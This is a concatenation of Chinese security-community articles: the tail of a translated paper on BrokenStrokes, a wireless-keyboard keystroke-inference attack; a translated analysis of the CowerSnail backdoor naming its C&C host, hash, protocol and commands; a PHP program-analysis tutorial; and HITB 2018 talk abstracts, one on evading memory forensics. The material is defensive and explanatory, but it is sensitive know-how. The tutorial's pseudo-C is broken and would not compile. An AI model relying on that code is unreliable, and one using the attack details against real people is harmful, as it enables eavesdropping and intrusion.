”）。没有考虑1m和20m：前者的性能与方案1（近距离攻击）相似，而后者则受到过多干扰的影响。首先观察到近距离攻击的特征是相似的趋势，可以用斜率为-27且Y轴截距等于0.83648的直线（实线为绿色）进行建模。还观察到最差的性能来自“墙后”场景；如先前所讨论的，这种情况是唯一一种没有LOS的情况，同时又受到相邻设备产生的干扰的影响。最后指出，BrokenStrokes可以独立于所考虑的场景而以大约80％的频率检测目标用户的按键间时间间隔样本中关键字的存在。
下图显示了FP估计与决策阈值（∆）的函数关系。对于前一种情况考虑：（i）近距离攻击（句子“ _your password is secret_ ”）；
（ii）墙后攻击（句子“ _you can choose a random password_ ”）；以及（iii）距离为5、10和15米的远程攻击（句子“
_a password has many characters_ ”）
。下图确认“墙后”场景的性能最低：对于所有阈值，该场景中的FP显着高于其他场景中的FP（尽管始终小于35％）。相反，其他情况则表现出更好的性能，某些FP始终具有不到25％的特点。应该选择决策阈值（∆）值来最大化TP的数量，同时减少FP的数量。当∆
<5·10-3时，FP的数量可以估计为10％（平均）。认为此值是可以接受的值，因为可以利用先进的ML技术来假设一个或多个附加的后处理层，以减少错误警报的数量。
## 0x09 Discussion
**训练集大小:**
BrokenStrokes的有效性在很大程度上取决于攻击者先前收集的训练集。一方面，可能难以在较大的时间内收集大量的训练集，因此，攻击的可行性与实现良好检测性能所需的关键词重复次数严格相关。可以通过简单的社交工程技术轻松地收集训练集，通过电子邮件或社交网络触发用户的响应（例如，键入他的名字），研究了不同训练集大小下的BrokenStrokes攻击的性能，将关键字“
password”重复5到50次，将场景1（近距离攻击）中句子“ _your password is secret_
”的30次重复作为测试集，并按照前面各节所述进行了BrokenStrokes攻击。训练集的最佳大小为10，如下表所示，保证最大TP数（29）和最小化FP数（1）。结果取决于关键字和用户的键入速度。因此，需要一个初步阶段来估计每个关键字用户组合的最佳训练集大小。
**键盘通讯协议：**
绝大多数键盘都采用专有协议，就像本文所使用的那样。这些协议通常会选择一个频率并将其长期保存（直至关闭或更换电池）。这种行为特别容易受到BrokenStrokes攻击，因为攻击者可以在2.4-2.5 GHz，确定目标用户采用的频率，然后选择该目标频率以收集RSS样本。
上图显示了讨论的三个不同键盘的采样间时序。区分三类：（i）数据包内采样； （ii）Packet-Ack延迟；
（iii）击键间。数据包内样本是属于同一个数据包的RSS估计，可以是从键盘到加密狗的消息，也可以是从加密狗到键盘的确认。第二类（Packet-Ack延迟）是数据包和ack之间的时间：与HP和V-Max相比，微软850-1455键盘的延迟似乎很小。将16ms视为上一类别的上限。最后，InterKeystroke计时表示两次连续击键之间的时间。仅当用户的打字速度低于Packet-Ack延迟时，BrokenStrokes才有效。当用户的打字速度与Packet-Ack延迟相当时，BrokenStrokes的当前版本无法区分数据包的Ack和与后续击键相关联的数据包。凭经验选择了23ms来唯一地标识键盘HP
SK-2064的Packet-Ack模式。
采用蓝牙的键盘需要较大的频谱观察才能捕获伪随机选择的频率的RSS样本，从而增加了用于发动攻击的设备的成本。此外，其他一些键盘生产商（虽然可以忽略不计）采用直接序列扩频（DSSS）调制，该调制在宽带信道上传播信息，从而大大降低了传输峰值功率，并使通信与本底噪声几乎无法区分。
**对策：** 为了减轻BrokenStrokes，可以实施以下策略：（i）通过beaconing或friendly jamming来增加传输次数；
（ii）随机延迟键盘传输；或（iii）采用DSSS代替固定或伪随机跳频技术。对于无线键盘，前两种策略可能不切实际，因为它们需要更多电量，而第二种策略也可能会影响用户体验。无线键盘主要是事件触发的设备，电量，可用性和隐私之间的权衡已得到广泛研究。最后，尽管DSSS可能是一种有效的策略，但它比跳频消耗更多的电量，因此需要考虑在隐私目标和电量预算之间进行权衡。
## 0x0a Conclusion
在本文中介绍了BrokenStrokes，这是一种针对商用无线键盘的新颖，廉价，可行且有效的攻击方法。BrokenStrokes允许通过分析来检测用户生成的击键流中预定义关键字的存在。
本文研究了BrokenStrokes在三种不同情况下的有效性，包括与目标用户的接近程度，距离在1至15米之间的LOS和非LOS情况（在拥挤的办公室环境中躲避在墙后
）。即使在有噪音的情况下（从最严酷的条件下超过70％到正常的操作条件下超过90％），所有场景都证实了攻击的可行性和有效性。 | 社区文章 |
# 【木马分析】来自SambaCry创作者的又一杰作：CowerSnail木马分析
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/cowersnail-from-the-creators-of-sambacry/79087/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[nstlBlueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在之前的文章中，我们详细分析了[ **SambaCry**](https://securelist.com/sambacry-is-coming/78674/)这款Linux木马软件，该恶意程序的实现原理是利用了Samba协议的远程代码执行漏洞（CVE-2017-7494）。
在一个星期之后，卡巴斯基实验室的恶意软件分析师又检测到一个新的Windows恶意软件程序，通过分析研究发现，新发现的这款恶意软件竟和SambaCry是由同一个组织创建的，因为这两个程序使用的常用C＆C服务器都是cl.ezreal.space:20480。
卡巴斯基实验室的分析师们将这款新检测到的恶意程序命名为Backdoor.Win32.CowerSnail，该恶意软件的MD5值如下所示：
5460AC43725997798BAB3EB6474D391F
CowerSnail 木马程序的设计是基于跨平台开发框架 Qt 编写的，这样做的好处是允许攻击者将 Unix 平台开发的恶意代码快速迁移至 Windows
平台环境中。另外，该框架还提供了不同操作系统之间的跨平台功能与源代码转移，从而使平台传输代码变得更加容易。然而，在便捷传输的同时也增加了生成文件大小，导致用户代码仅占
3MB 文件的很小比例。
下面，我们将给出关于CowerSnail 这款木马程序的详细分析。
**第一阶段**
首先，CowerSnail木马软件会首先去提高自身进程的优先级和当前线程的优先级，如下图所示：
然后，它使用StartServiceCtrlDispatcher 这个API函数作为控制管理服务来启动主要的C＆C通信线程。
那么，如果C＆C通信线程作为服务被成功启动，则木马软件将通过该服务与C＆C服务器进行进一步的通信; 否则，CowerSnail木马软件则不会开始运行。
CowerSnail这款软件在实现上也可以接受各种输入的参数变量，例如C＆C主机。
当这些参数不存在时，CowerSnail会从配置文件中提取所需的这些参数数据。
通过控制管理服务程序来启动调用主要的C＆C通信方法在实现上将如下图所示（该方法通常被称为“例程”）。
**C＆C通信服务器**
****
通过我们对流量的研究和分析，实验表明僵尸网络中的节点都是通过IRC协议与C＆C服务器进行通信的。
这可以从“通道”命令特征以及随后所进行的ping交换数据中看出，这些通常发生在由IoT设备组成的IRC僵尸网络中。
从下图中我们可以看到，在每个数据包中（除了“通道”命令之外）的前两个字节数据都是“PK”这个特征，紧跟在“PK”这个特征后面的双字节表示数据包中剩余数据的长度信息。
数据包中每个字段的名称都是用Unicode进行编码的，并且每个字段的前面一般都是字段的长度信息。从图中我们可以看到，状态栏字段后面的RequestReturn/Request这个双字节的字段显示的是变量RequestReturn所需的变量个数。在图中的这个例子中，我们可以看到RequestReturn字段所需的有三个变量，分别是'success'，'I'和'result'这三个变量，这些字段中的每一个字段又可以包含更多的嵌套变量。从下面的屏幕截图中我们可以看到数据包中包含了对SysInfo这个命令请求的响应数据，从图中我们可以看到，CowerSnail木马软件从受感染的电脑终端中获取到14（0xE）个有关SysInfo系统信息的子字段数据信息，依次为字段的名称、类型以及字段的值。
根据我们获取的流量以及分析得出，CowerSnail木马软件的请求包和响应包的结构略有不同，木马程序服务器的请求包的组成依次为Request-> arg->
type – >“Ping / SysInfo / Install”，以及嵌套到arg字段中的额外参数。
以下是几个变量类型的示例：
0x00000005 – 整数变量
0x0000000A – 字符串变量
在C＆C服务器上注册被感染的终端主机之后（当然，这些注册信息包括发送有关被感染系统的SysInfo信息），CowerSnail木马程序会首先与C&C服务器交换互相执行ping命令，之后木马软件静默等待C&C服务器的指令。
**命令**
与SambaCry不同的是，默认情况下，CowerSnail木马程序不会去主动下载cryptocurrency
Mining软件，而是提供一套标准的后门功能，这些功能主要有：
1\. 接收更新（LocalUpdate）
2\. 执行任何命令（BatchCommand）
3\. 安装CowerSnail作为服务，这个操作是使用服务控制管理器命令行界面来执行安装操作
4\. 从服务列表中卸载CowerSnail木马程序（卸载）
5\. 收集系统信息（SysInfo）：
a. 时间戳
b. 安装的操作系统类型（例如Windows）
c. 操作系统名称
d. 主机名
e. 有关网络接口的信息
f. ABI
g. 核心处理器架构
h. 有关物理内存的信息
**结论**
SambaCry木马软件是专门为基于类Unix的系统而设计的，而CowerSnail则是使用Qt编写的，这样做的好处是允许攻击者将 Unix
平台开发的恶意代码快速迁移至 Windows
平台环境中无。另外，该框架还提供了不同操作系统之间的跨平台功能与源代码转移，从而使平台传输代码变得更加容易。由于这两个程序使用的常用C＆C服务器都是cl.ezreal.space:20480，由此我们可以推断这两个木马软件都是出自同一个黑客组织之手。网络黑客在创建这两个单独的特洛伊木马后，每个木马都设计用于特定的平台，每个木马软件都具有自己的特殊性，我们猜测这个黑客组织将来非常有可能会创建更多的恶意软件。 | 社区文章 |
# 程序分析理论 初实践 抽象化 CFG AST
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
不知道大家还记不记得popmaster这道题。当初出题人用了php
parser实现抽象代码树从而达到程序分析目的。之前我们只讲到数据流分析所以我使用了过程间分析的原理和函数递归的思想实现程序分析。上一篇文章我们讲到了控制流分析。其中提到了抽象分析和抽象代码树以及CFG控制流图
总而言之，这一篇文章的目的是为了更好理解程序分析理论。
这篇文章的结构分为抽象化，CFG实现，AST实现。
TIPS：CFG和AST实际上只是结构而已，抽象化并不是他们所作的事情。
## 抽象化
抽象化实际上就是将代码转换机器所能识别的语言。就像之前我用正则表达式获取类名，函数名，各函数调用关系，并转换成规律性结构，再使用污点分析加上限制条件从而实现代码分析。
但是通用性不够，主要原因是使用的正则表达式太固化。很多师傅都推荐php
parser实现语法分析，phpparser使用了token_get_all函数实现抽象化，实际上使用了zend的词汇扫描器。想了解可以看php
parser分析这篇文章，里面写了phpparser代码逻辑和zend词汇扫描器的工作原理，虽然水平有限。
### 思路
虽然每个人编写程序的习惯不同，但是只要语言是一样的，语法就肯定是一样的。我们依旧是寻找关键词将程序进行划分。和之前不同的是获取程序内部数理结构我们使用更加普适性的方法（对字数不做限制，对代码之间的空格正确分析）。
### 简单尝试
我们以php语言的代码作为本文的例子。
**赋值表达式**
$a=$b
以=为分界线寻找左式右式，左式必然是一个变量，形如$a。右式可能是常数，变量（以$为标记），函数（以括号为标记，括号内可能有常数可能有变量，这个括号还要和运算符的括号区分，区别是左括号前有什么，字母数字下划线则是函数，运算符则是计算式），计算式（以运算符为标记）。
特殊的会出现$a=$b=$c
我们依旧以一个等号为基准，一个等号分成两个部分，左值只能是形如$a的式子，右值如果有等号可以继续依照上述方法进一步划分。
代码实现
void getexpr(char *code){
bool isstart = False;
for(i=1;;i++){
if(skip(*(code-i)) && !isstart) continue;
if(isalnum(*(code-i)) || isunderline(*(code-i)) || isdollar(*(code-i))){
isstart = True;
left = *(code-i) + left;
}
else{
break;
}
}
for(i=1;;i++){
if(skip(*(code-i))) continue;
if(!isend(*(code-i))){
right = right + *(code-i);
}
else break;
}
for(i=1;i<len(right);i++){
if(isyunsuanfu(substr(right,i,1))){
getexpr(*(code+1));
}
}
}
**命令型语句**
如echo var_dump等等。
对于每一个函数都要特殊定义。对危险函数要进行标记。
由于数量众多，但不含有什么原理性内容，代码不在此列出，只要像之前的phpparser代码中的那样就可以了。
## CFG结构
CFG是控制流程图。表示了所有代码块之间的运行顺序和逻辑关系。每一个代码块应是在可能范围内最大的代码块。而其划分依据就是在该代码块中是否不存在从中间代码跳转到另一行代码的可能。满足这一条件的代码块应不包括函数调用，if判断，for循环等语句。所以我们在抽象化过程中，遇到特殊语法结构时，对代码进行划分，对抽象结果进行新的保存，实现CFG结构。
### 结构编译
**function**
function内部可能会含有其他类型的语句结构，对其内部特殊结构的分析我们转换成相应的语法结构分析，就像我们在程序分析理论中提到的(C,ρ) |=
(let x = t_1 ^1 in t_2 ^2) ^l 我们进一步通过(C,ρ) |=t_1 ^1 (C,ρ) |=t_2 ^2得到最终结果
对于php的function其组成部分有标签function，函数名()，括号内可能是有参，也可能是无参。剩下的就是return返回值。
所以在正则匹配中，我们先找到function 随后是函数名（在括号前）和参数（在括号内），函数体和return（在大括号内）
我们记录函数名和参数作为该模块的基本信息，其函数体则进行进一步的分解，直到只存在赋值语句或者命令型语句，对其抽象化后保存在流程图中。
代码实现
void compile(*pos){
if(isskip(*pos)) pos++;
else if(isbe(*pos)){
pos++;
q++;
}
else if(isen(*pos)){
pos++;
q--;
if(q == p) node--;
}
else if(isalpha(*pos)){
do{
beef = beef + *pos;
pos++;
}while(isalpha(*pos) || isnum(*pos) || isunderline(*pos));
if(table == 0){
if(divfind(beef) > 0){
Node = new node;
p++;
node(q);
table = divfind(beef);
}
else if(divfind(beef) < -1){
table = divfind(beef);
Node = new node;
p++;
node(1,beef);
}
else if(table == 1){
node(1,beef);
while(isskip(*pos)){
pos++;
}
pos++;
while(*pos != ')'){
int i = 0;
if(isend(*pos)) pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
args[i] = beef;
i++;
beef = "";
}
}
beef = "";
pos++;
compile(*pos);
}
else if(isnum(*pos)){
do{
num = num * 10 + int(*pos);
pos++;
}while(isnum(*pos));
node(num);
num = 0;
pos++;
compile(*pos);
}
else if(isdollar(*pos)){
pos++;
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++
}
node(2,beef);
beef = "";
pos++;
compile(*pos);
}
}
**if**
对于if语句，我们对其逻辑表达式划分到上一节代码块中，对其yes和no分支分别进行分析。我们将if以及elseif的代码块标记为-1，将else标记为0，如果没有else那么加入空node标记为0。
代码实现
void compile(*pos){
if(isskip(*pos)) pos++;
else if(isbe(*pos)){
pos++;
q++;
}
else if(isen(*pos)){
pos++;
q--;
if(q == p) node--;
}
else if(isalpha(*pos)){
do{
beef = beef + *pos;
pos++;
}while(isalpha(*pos) || isnum(*pos) || isunderline(*pos));
if(table == 0){
if(divfind(beef) > 0){
Node = new node;
p++;
node(q);
table = divfind(beef);
}
else if(divfind(beef) < -1){
table = divfind(beef);
Node = new node;
p++;
node(1,beef);
if(divfind(beef) == -2){
node(-1,-p);
}
else if(divfind(beef) == -3){
while(isskip(*pos)){
pos++;
}
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++;
}
if(beef != "if"){
node(-1,0);
table = -1;
}
else node(-1,-p);
}
}
}
else if(table == 1){
node(1,beef);
while(isskip(*pos)){
pos++;
}
pos++;
while(*pos != ')'){
int i = 0;
if(isend(*pos)) pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
con[i] = beef;
i++;
beef = "";
}
}
else if(table == -1){
node++;
node(-1,0);
node++;
}
else if(table == -2 || table == -3){
while(isskip(*pos)){
pos++;
}
pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
con[0] = beef;
beef = "";
}
beef = "";
pos++;
compile(*pos);
}
else if(isnum(*pos)){
do{
num = num * 10 + int(*pos);
pos++;
}while(isnum(*pos));
node(num);
num = 0;
pos++;
compile(*pos);
}
else if(isdollar(*pos)){
pos++;
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++
}
node(2,beef);
beef = "";
pos++;
compile(*pos);
}
}
**for**
我们不在意他执行多少次，只在意能不能执行，以及执行过程中是否会出现可控的变量。
代码如下
void compile(*pos){
if(isskip(*pos)) pos++;
else if(isbe(*pos)){
pos++;
q++;
}
else if(isen(*pos)){
pos++;
q--;
if(q == p) node--;
}
else if(isalpha(*pos)){
do{
beef = beef + *pos;
pos++;
}while(isalpha(*pos) || isnum(*pos) || isunderline(*pos));
if(table == 0){
if(divfind(beef) > 0){
Node = new node;
p++;
node(q);
table = divfind(beef);
}
else if(divfind(beef) < -1){
table = divfind(beef);
Node = new node;
p++;
node(q);
node(1,beef);
if(divfind(beef) == -2){
node(-1,-p);
}
else if(divfind(beef) == -3){
while(isskip(*pos)){
pos++;
}
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++;
}
if(beef != "if"){
node(-1,0);
table = -1;
}
else node(-1,-p);
}
else if(divfind(beef) == -4){ //for
while(isskip(*pos)){
pos++;
}
pos++;
beef = "";
for(int i = 0;i < 3;i++){
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
con[i] = beef;
beef = "";
pos++;
}
}
}
}
else if(table == 1){ //function
node(1,beef);
while(isskip(*pos)){
pos++;
}
pos++;
while(*pos != ')'){
int i = 0;
if(isend(*pos)) pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
args[i] = beef;
i++;
beef = "";
}
}
else if(table == -1){ //endif
node++;
node(-1,0);
node++;
}
else if(table == -2 || table == -3){ //if elseif
while(isskip(*pos)){
pos++;
}
pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
con[0] = beef;
beef = "";
}
beef = "";
pos++;
compile(*pos);
}
else if(isnum(*pos)){
do{
num = num * 10 + int(*pos);
pos++;
}while(isnum(*pos));
node(num);
num = 0;
pos++;
compile(*pos);
}
else if(isdollar(*pos)){
pos++;
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++
}
node(2,beef);
beef = "";
pos++;
compile(*pos);
}
}
### 形成结构
找到入口函数，一步一步根据文本搜索node，构成CFG。
由于我们编译部分代码从头开始执行，以函数名或者特殊结构为node名称，所以对于入口函数来说，只需要知道入口函数名即可，随后搜索node直到出现新的node为函数名。由于我们按照文本顺序进行分析，且对结构做了特殊定义，如对if
else进行标记使得分支结构得以体现，所以这之间的node就是一个CFG结构。
我们使用控制流分析，所以除了入口函数以外，其他函数都属于值。所以CFG结构就是入口函数的结构。
当然，对于其他函数，我们要得到其结果，也需要进行分析，分析方法一致，使用控制流分析，将当前函数分解成CFG结构，其他函数都是值。
代码如下
void compile(*pos){
if(*pos == ';') return;
string back="";
if(isskip(*pos)) pos++;
else if(isbe(*pos)){
pos++;
q++;
}
else if(isen(*pos)){
pos++;
q--;
if(q == p) node--;
}
else if(isequal(*pos)){
table = 3;
back = beef;
}
else if(isalpha(*pos)){
do{
beef = beef + *pos;
pos++;
}while(isalpha(*pos) || isnum(*pos) || isunderline(*pos));
if(table == 0){
if(divfind(beef) == 1){
Node = new node;
p++;
node(q);
table = divfind(beef);
}
else if(divfind(beef) == 2){
value[] = node.return;
}
else if(divfind(beef) < -1){
table = divfind(beef);
Node = new node;
p++;
node(q);
node(1,beef);
if(divfind(beef) == -2){
node(-1,-p);
}
else if(divfind(beef) == -3){
while(isskip(*pos)){
pos++;
}
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++;
}
if(beef != "if"){
node(-1,0);
table = -1;
}
else node(-1,-p);
}
else if(divfind(beef) == -4){ //for
while(isskip(*pos)){
pos++;
}
pos++;
beef = "";
for(int i = 0;i < 3;i++){
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
con[i] = beef;
beef = "";
pos++;
}
}
}
}
else if(table == 1){ //function
node(1,beef);
func = func + beef;
while(isskip(*pos)){
pos++;
}
pos++;
beef = "";
while(*pos != ')'){
int i = 0;
if(isend(*pos)) pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
args[i] = beef;
i++;
beef = "";
}
}
else if(table == 3){
while(isskip(*pos)){pos++;}
if(isbool(*pos)){
pos++;
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos) ||isdollar(*pos)){
beef = beef + *pos;
pos++
}
}
int i = 0;
for(;strcmp(args[i],back);i++){;}
strcpy(val[i],beef);
}
else if(table == -1){ //endif
node++;
node(-1,0);
node++;
}
else if(table == -2 || table == -3){ //if elseif
while(isskip(*pos)){
pos++;
}
pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
con[0] = beef;
beef = "";
}
beef = "";
pos++;
compile(*pos);
}
else if(isnum(*pos)){
do{
num = num * 10 + int(*pos);
pos++;
}while(isnum(*pos));
if(table == 3){
int i = 0;
for(;strcmp(args[i],back);i++){;}
strcpy(val[i],beef);
}
num = 0;
pos++;
compile(*pos);
}
else if(isdollar(*pos)){
pos++;
beef = "";
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++
}
node(2,beef);
pos++;
if(table == 3){
while(isskip(*pos)){pos++;}
if(isequal(*pos)){
pos++;
compile(*pos);
}
if(isbool(*pos)){
pos++;
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos) ||isdollar(*pos)){
beef = beef + *pos;
pos++
}
}
int i = 0;
for(;strcmp(args[i],back);i++){;}
strcpy(val[i],beef);
}
compile(*pos);
}
}
## AST结构
AST结构在编译过程中和CFG一样，形成结构有其特殊性。
首先，同样是控制流分析，所以函数作为一个最大的模块，特殊结构作为独立个体。其特殊性在于对于语句的分析：CFG在意流程。AST在意语法。
我们对于每一句代码都进行类型的定义，对数据变量进行左值右值的划分，形成层层递进的树状结构。
代码如下
void ast(string stmt){
while(isskip(*pos)) pos++;
while(*pos != '='){
beef = beef + *pos;
pos++;
}
node.left = beef;
pos++;
while(*pos != ';'){
beef = beef + *pos;
pos++;
}
node.right = beef;
ast(beef);
}
void ast(char *pos){
if(isalpha(*pos)){
while(isalpha(*pos)){
beef = beef + *pos;
pos++;
}
if(isskip(*pos) && beef == "function"){
node = node.next;
beef = "";
node.type = "function";
while(isskip(*pos)) pos++;
while(isalpha(*pos) || isnum(*pos) || isunderline(*pos)){
beef = beef + *pos;
pos++;
}
node.name = beef;
beef = "";
while(isskip(*pos)) pos++;
pos++;
for(int i = 0; *pos != ')';i++){
while(!isend(*pos)){
beef = beef + *pos;
}
node.args[i] = beef;
pos++;
}
beef = "";
while(isskip(*pos)) pos++;
int p = 0;
for(int i = 0; *pos != '}' || p != 0;i++){
pos++;
if(*pos == '{') p++;
else if(*pos == '}') p--;
else{
ast(*pos);
}
}
}
else if((*pos == '(' || isskip(*pos)) && beef == "for"){
node = node.next;
beef = "";
node.type = "for";
pos++;
for(int i = 0;i<3;i++){
while(!isend(*pos)){
beef = beef + *pos;
}
node.con[i] = beef;
ast(beef);
beef = "";
pos++;
}
ast(*pos);
}
else if((*pos == '(' || isskip(*pos)) && beef == "if"){
node = node.next;
beef = "";
node.type = "if";
pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
node.con[0] = beef;
ast(beef);
ast(*pos);
}
else if((*pos == '(' || isskip(*pos)) && beef == "else"){
node = node.next;
while(isskip(*pos)) pos++;
if(*pos == '{'){
node.type = "else";
pos++;
node.con[0] = "-1";
}
else if(*pos == 'i'){
while(*pos != '(') pos++;
while(!isend(*pos)){
beef = beef + *pos;
pos++;
}
node.com[0] = beef;
ast(beef);
ast(*pos);
}
}
}
else if(*pos == '$'){
while(*pos != ';'){
beef = beef + *pos;
pos++;
}
ast(beef);
ast(*pos);
}
else{
pos++;
return ;
}
}
## 最后
我们这一次的初尝试是对之前讲过的自动机分析的原理，控制流分析的原理的一次应用。欢迎各位指教。 | 社区文章 |
2018，全球顶级的网络安全峰会---HITB安全会议携手京东首次来到中国北京，带来包括苹果IOS系统访问权限漏洞、威胁情报社交媒体挖掘、windows运行时的内部工作方式、我们的量子未来等近30个新颖的主题演讲。
**【演讲议题 PPT 下载】：
<https://conference.hitb.org/files/hitbsecconf2018pek/materials/>**
### 苹果 iOS 访问权限漏洞
**演讲者：Benjamin Kunz**
该谈话涉及 iOS 界面访问权限漏洞
该研究结果以漏洞实验室(Vulnerability Labs) APT 核心研发小组的成果为基础，此前从未披露过。介绍的漏洞与本地攻击者获取 idevice
敏感数据访问权限的情况有关，或与绕过 idevice
基本保护机制的情况有关。我们可以通过每个漏洞访问敏感数据，或者绕过特定保护层，即便未授权也能顺利访问。我们会播放演示视频。
### 市民链(Citizen Chain)
**演讲者：Don Bailey**
描述区块链的辞藻似乎都与慈善事业有几分相似。从这些描述看来，区块链技术及其衍生品在某种程度上将给原本比较动荡不安的世界带来团结平等。然而，大约 90%
基于区块链技术的订单都是为了让创始人凭借对“做好事”的领悟而发家致富的雾件(vaporware)或者骗局。
因此问题依然存在：区块链技术真正的价值在哪里？更重要的是：区块链有价值么?
本讲座介绍了区块链实际使用案例的实施情况，并一一揭穿部分矫揉造作的、过分渲染的或浑身缺陷的使用案例。这些包括对物联网区块链解决方案、投票机以及所谓的“不可破解”钱包等的分析。
本讲座还介绍了演讲者在 2018 年阿姆斯特丹 HITB 安全大会物联网安全元素演讲中提出的一些关于体系结构的概念。
### 电信：攻击面的代际演进
**演讲者： Emmanuel Gadaix**
每代移动通话标准面临的电信安全问题的研究。
我们能确保电信安全么？电信领域的每次技术革命无不带来更多标准、更多协议、更多互连网络、更多应用以及最终会危害这些关键基础设施安全的更多入侵方式。
### 交易工具
**演讲者： Evan Booth**
自从有人第一次捡起石头开始砸东西，人类就学会了依靠工具来减轻工作负担。而今，我们已完全被各种工具淹没。我们有材料处理工具、测量工具、通信工具、可视化工具；不仅如此，我们甚至还有专门用来修复用于制造其他工具的工具。
保障信息安全的工作错综复杂、不断变化，作为信息安全的捍卫者，我们在工作中需要使用数以百计的安全工具。在各种思想可以自由交流的开放社会，我么可以从同行开源项目中获取很多类似的安全工具。然而，随着新技术、新威胁和新手段的出现，我们对新工具、改进型工具的需求也与日俱增。事实上，我敢打赌，大多数人已经发现：打造与时俱进的新工具，其优势是不言而喻的。
为此，我希望与大家分享如下内容：(1)本人对优秀工具基本品质和特征的看法；(2)
作为软件工程师，我在逐步规划和编写可重用、可扩展代码中所采用的方法和策略；(3)为大家推荐一些有用的库和框架，这样大家无需多花多少时间和精力就能提高项目质量。
### 挖掘社交媒体，获取威胁情报(Threat intelligence)
**演讲者：Fyodor Yarochkin**
社交网络含有海量信息，我们对这些信息进行研究和分析后，可将其用过不同需求；威胁情报信息对白帽、灰帽和黑帽来说，都是一块肥肉。作为一名渗透测试人员，您可以利用社交网络数据查找有助于建立攻击策略的信息泄漏。作为一个黑帽极客，你可以并且通常会监视这些社交网络信息泄漏，因为这些漏洞可以作为早期探测对象。作为一名威胁情报分析人员，您会获取这些兴趣指标并在社区分享。我们自动处理来自
Twitter
等社交网络的信息流，进行滥用检测。然而，以往我们还开发了一些寻找威胁情报具体信息的过滤软件。该演示中，我们了解了信息泄漏事件是如何影响信息安全的。我们从不同角度了解这些漏洞，展示了在
Twitter 上发现的一些结果，以及渗透测试人员、漏洞研究人员或威胁分析人员感兴趣的内容。
该报告将通过实际案例讨论和说明如何在社交网络上挖掘各种与威胁源相关的数据。从毛遂自荐的极客主义行动小组到威胁指标 (IoC) 的披露 ——
我们演示了这些是如何影响攻击者活动、如何促使他们根据最新披露作出对应调整的。披露的这些指标将“可付诸行动”的威胁情报转变成仅对事后检测和历史检查有用的数据集。此外，我们还讨论了红队如何从社交网络中挖掘数据。该行为属于渗透测试的一部分。最后，我们演示了蓝队如何利用这些分析结果提高检测效果的。
### 一些关于代码相似性的实验
**演讲者：Halvar Flake**
软件行业剪切和粘贴代码的方式各种各样 --因此与剪切和粘贴相关的缺陷时有发生。除了剪切和粘贴缺陷，在许多不同具体目标中，常用库中的漏洞也会构成漏洞。这两种情况下，攻击者凭借掌握的实用技术可以从检查状态下大型库的二进制代码中找到已知代码片段。
该讲座结合一些不同寻常的从业经历和根据实践经验编写的代码，探讨了如何识别以可执行文件形式存在的第三方库。内容涉及诸如位向量上的快速近似最近邻搜索、机器学习新手常犯错误，以及学术研究中经常被草草敷衍而过的具体难题。
### Windows Runtime 的内部工作机制
**演讲者：James Forshaw**
Windows 8 中引入的 Windows Runtime (WinRT)摒弃了支持跨语言的、现代化、可部署类库 Win32
API，彻底改变了应用程序开发方式。微软并没有采用新的中间件来实现 WinRT，而是决定采用 COM 底层技术。
本报告深入探讨了 WinRT API 的执行方式、安全属性并介绍了如何使用沙箱应用程序检查 Runtime 的攻击面。
### 攻击式内存取证
**演讲者：HugoTeso**
该报告将展示内存取证领域的研究成果，特别是如何在事件调查中成功攻克内存取证问题。
两年前，我要找到一种方法让我的攻击性工具不受内存取证分析的影响 ——
本讲座全面回顾了为应对该挑战而创建的方法学、工具、技术和其他资源。研究效率将在竞争中得到应验，但无论成功与否，我们将对该研究结果进行充分说明。
从该报告中获得什么？底级研究、缺陷、漏洞、工具、（非常特殊的）图形用户界面(GUI)和常见方法的一些有趣对抗故事法。
### 量子的未来
**演讲者：Jaya Baloo**
本报告将讨论即将到来的量子革命及其对安全的影响。我们如何才能在享受量子计算红利的同时缓解与之并存的威胁呢？
### 攻击树：红队测试(Red Teaming)操作中所采用的方法和应用程序
**演讲者：Matteo Beccaro**
攻击树理论被成功用于理解、评估和改进从 IT
到关键基础设施生态系统在内的多种情况下的安全问题。从防御角度来看，它是分析环境所面临威胁和风险的有力工具。但是从进攻角度看，情况又如何呢？我们能照搬该这些技术么？
该讲座中，我们将分析如何将攻击树理论应用于复杂的红队测试(Red
Teaming)和对手模拟操作。了解这些概念和方法有助于更好地理解在攻击过程中可能发生的事件和重要临界情况，从而采取相应措施和做出对应响应。
最后，还会结合具体案例分析该理论的实际应用：从目标确定到最终的执行。
### 留意以下内容：发现闭源视频解码器驱动程序的漏洞
**演讲者：Adam Donenfeld**
多年来，发现和利用移动设备中 Ring-0
漏洞变得越来越难。攻防双方都必须找到新的攻击途径，并且需要开发出新的研究工具，以加快研究进度、提升加覆盖率。沙箱限制越来越严格，这是面临的重大挑战之一。虽然供应商通常不太重视沙箱机制内无法运行的程序的安全性，遇到一款好的沙箱应用程序并不容易，即使测试通过也可能不够好。
该讲座是真实世界的一次发现之旅，我们将在 iOS
